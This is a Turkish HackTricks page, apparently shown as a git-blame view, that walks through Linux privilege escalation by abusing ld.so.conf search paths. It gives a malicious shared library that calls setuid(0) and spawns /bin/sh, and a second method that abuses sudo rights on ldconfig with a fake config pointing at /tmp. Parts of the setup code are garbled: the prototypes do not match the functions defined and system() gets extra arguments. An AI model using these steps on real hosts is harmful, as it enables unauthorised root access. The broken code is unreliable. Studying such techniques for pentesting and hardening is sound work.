hacktricks/linux-hardening/privilege-escalation/ld.so.conf-example.md

231 lines
9.1 KiB
Markdown
Raw Normal View History

2024-04-06 19:40:41 +00:00
# ld.so privesc exploit example
2022-04-28 16:01:33 +00:00
<details>
2024-04-06 19:40:41 +00:00
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a> <strong>öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2024-02-02 12:27:26 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
2024-04-06 19:40:41 +00:00
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
2024-02-10 18:14:16 +00:00
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
## Ortamı hazırlayın
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
Aşağıdaki bölümde, ortamı hazırlamak için kullanacağımız dosyaların kodunu bulabilirsiniz
2020-08-27 13:29:43 +00:00
```c
#include <stdio.h>
#include "libcustom.h"
int main(){
2024-02-10 18:14:16 +00:00
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
2020-08-27 13:29:43 +00:00
}
```
2024-02-10 18:14:16 +00:00
Bu dosya, özel bir kütüphane olan libcustom'un başlık dosyasıdır. Bu kütüphane, özel işlevler ve özellikler sağlamak için kullanılır.
2020-08-27 13:29:43 +00:00
```c
2024-02-10 18:14:16 +00:00
#ifndef LIBCUSTOM_H
#define LIBCUSTOM_H
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
// Özel işlevlerin prototipleri burada tanımlanır
void customFunction1();
void customFunction2();
// Özel yapıların tanımları burada yer alır
typedef struct {
int customField1;
char customField2[20];
} CustomStruct;
#endif
2020-08-27 13:29:43 +00:00
```
2024-02-10 18:14:16 +00:00
Bu başlık dosyası, libcustom kütüphanesini kullanacak olan diğer programlar tarafından dahil edilir. Bu sayede, libcustom'un sağladığı işlevler ve yapılar kullanılabilir hale gelir.
```c
#include <stdio.h>
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
void vuln_func();
```
Bu örnek, bir özel kütüphanenin nasıl yüklenip kullanılacağını göstermektedir. Aşağıdaki adımları izleyerek bu örneği uygulayabilirsiniz:
1. Öncelikle, `libcustom.c` adında bir C dosyası oluşturun.
2. Ardından, aşağıdaki kodu `libcustom.c` dosyasına yapıştırın:
2020-08-27 13:29:43 +00:00
```c
#include <stdio.h>
2024-02-10 18:14:16 +00:00
void custom_function() {
printf("This is a custom function\n");
2020-08-27 13:29:43 +00:00
}
```
2024-02-10 18:14:16 +00:00
3. Daha sonra, `libcustom.c` dosyasını derlemek için aşağıdaki komutu kullanın:
```bash
gcc -shared -o libcustom.so libcustom.c
```
4. Bu komut, `libcustom.c` dosyasını `libcustom.so` adında bir paylaşılan nesne dosyasına derleyecektir.
5. Son olarak, `ld.so.conf` dosyasına aşağıdaki satırı ekleyin:
```
/usr/local/lib
```
Bu satır, `/usr/local/lib` dizinini paylaşılan kütüphane arama yoluna ekleyecektir.
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
6. Artık `libcustom.so` dosyasını `/usr/local/lib` dizinine taşıyabilirsiniz.
Bu adımları tamamladıktan sonra, `libcustom.so` dosyasını kullanarak özel bir işlevi çağırabilirsiniz.
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
```c
#include <stdio.h>
void vuln_func()
{
puts("Hi");
}
```
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
{% tabs %}
{% tab title="Bir örnek" %}
1. Bu dosyaları aynı klasöre **oluşturun**
2. **Kütüphaneyi derleyin**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. `libcustom.so` dosyasını `/usr/lib` dizinine **kopyalayın**: `sudo cp libcustom.so /usr/lib` (root yetkisi gerektirir)
4. **Yürütülebilir dosyayı derleyin**: `gcc sharedvuln.c -o sharedvuln -lcustom`
2020-08-27 13:29:43 +00:00
2024-04-06 19:40:41 +00:00
#### Ortamı kontrol edin
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
_libcustom.so_'nun _/usr/lib_ dizininden **yüklenip yüklenmediğini** ve ikili dosyayı **çalıştırabildiğinizi** kontrol edin.
{% endtab %}
{% endtabs %}
2024-04-06 19:40:41 +00:00
```
2020-08-27 13:29:43 +00:00
$ ldd sharedvuln
2024-02-10 18:14:16 +00:00
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
2020-08-27 13:29:43 +00:00
Welcome to my amazing application!
Hi
```
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
## Sızma
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
Bu senaryoda, _/etc/ld.so.conf/_ içinde bir dosyada **birisi zafiyetli bir giriş oluşturduğunu varsayacağız**:
2024-04-06 19:40:41 +00:00
2020-08-27 13:29:43 +00:00
```bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
```
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
Zararlı klasör _/home/ubuntu/lib_ (yazma erişimine sahip olduğumuz yer) içindedir.\
Aşağıdaki kodu indirin ve o yolu içinde derleyin:
2024-04-06 19:40:41 +00:00
2020-08-27 13:29:43 +00:00
```c
//gcc -shared -o libcustom.so -fPIC libcustom.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void vuln_func(){
2024-02-10 18:14:16 +00:00
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
2020-08-27 13:29:43 +00:00
}
```
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
Şimdi, **hatalı yapılandırılmış** yolun içine **zararlı libcustom kütüphanesini oluşturduğumuza** göre, bir **yeniden başlatma** veya kök kullanıcının **`ldconfig`**'u çalıştırmasını beklememiz gerekiyor (_bu ikiliyi **sudo** olarak çalıştırabilir veya **suid bit**'e sahipse kendiniz çalıştırabilirsiniz_).
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
Bu gerçekleştiğinde, `sharevuln` yürütülebilir dosyasının `libcustom.so` kütüphanesini nereden yüklediğini **yeniden kontrol edin**:
2024-04-06 19:40:41 +00:00
2020-08-27 13:29:43 +00:00
```c
$ldd sharedvuln
2024-02-10 18:14:16 +00:00
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
2020-08-27 13:29:43 +00:00
```
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
Gördüğünüz gibi, **`/home/ubuntu/lib`'den yükleniyor** ve herhangi bir kullanıcı tarafından çalıştırılırsa bir kabuk çalıştırılacak:
2024-04-06 19:40:41 +00:00
2020-08-27 13:29:43 +00:00
```c
2024-02-10 18:14:16 +00:00
$ ./sharedvuln
2020-08-27 13:29:43 +00:00
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu
```
2024-04-06 19:40:41 +00:00
2020-08-27 13:29:43 +00:00
{% hint style="info" %}
2024-02-10 18:14:16 +00:00
Bu örnekte ayrıcalıkları yükseltmedik, ancak komutları değiştirerek ve **kök veya diğer ayrıcalıklı kullanıcının zafiyetli ikiliyi çalıştırmasını bekleyerek** ayrıcalıkları yükseltebiliriz.
2020-08-27 13:29:43 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### Diğer yanlış yapılandırmalar - Aynı zafiyet
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
Önceki örnekte, bir yönetici **`/etc/ld.so.conf.d/` içindeki bir yapılandırma dosyasında ayrıcalıklı olmayan bir klasör ayarladığımızı taklit ettik**.\
Ancak, aynı zafiyeti oluşturabilecek diğer yanlış yapılandırmalar da vardır, eğer `/etc/ld.so.conf.d` klasörü içinde veya `/etc/ld.so.conf` dosyasında bazı **yazma izinleriniz** varsa veya `/etc/ld.so.conf.d` içindeki **bir yapılandırma dosyasında**, aynı zafiyeti yapılandırabilir ve sömürebilirsiniz.
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
## Sömürü 2
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
**`ldconfig` üzerinde sudo ayrıcalıklarınız olduğunu varsayalım**.\
`ldconfig`'a **hangi yapılandırma dosyalarını yükleyeceğini** belirtebilirsiniz, bu nedenle `ldconfig`'un keyfi klasörleri yüklemesinden yararlanmak için "/tmp" klasörünü yüklemek için gerekli dosya ve klasörleri oluşturalım:
2024-04-06 19:40:41 +00:00
2020-08-27 14:22:53 +00:00
```bash
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
```
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
Şimdi, **önceki saldırıda** belirtildiği gibi, **`/tmp` içinde zararlı bir kütüphane oluşturun**.\
Ve son olarak, yolu yükleyelim ve binary'nin kütüphaneyi nereden yüklediğini kontrol edelim:
2024-04-06 19:40:41 +00:00
2020-08-27 14:22:53 +00:00
```bash
ldconfig -f fake.ld.so.conf
ldd sharedvuln
2024-02-10 18:14:16 +00:00
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
2020-08-27 14:22:53 +00:00
```
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
**Görüldüğü gibi, `ldconfig` üzerinde sudo yetkilerine sahip olmak aynı zafiyeti sömürmenizi sağlar.**
2020-08-27 14:22:53 +00:00
{% hint style="info" %}
2024-02-10 18:14:16 +00:00
Eğer `ldconfig` suid bitiyle yapılandırılmışsa, bu zafiyeti sömürmek için güvenilir bir yol bulamadım. Aşağıdaki hata görüntülenir: `/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied`
2020-08-27 14:22:53 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
## Referanslar
2020-08-27 14:22:53 +00:00
* [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html)
* [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2)
2024-02-10 18:14:16 +00:00
* HTB'deki Dab makinesi
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2024-02-02 12:27:26 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamınızı yapmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
2024-04-06 19:40:41 +00:00
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
2024-02-10 18:14:16 +00:00
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
2022-04-28 16:01:33 +00:00
</details>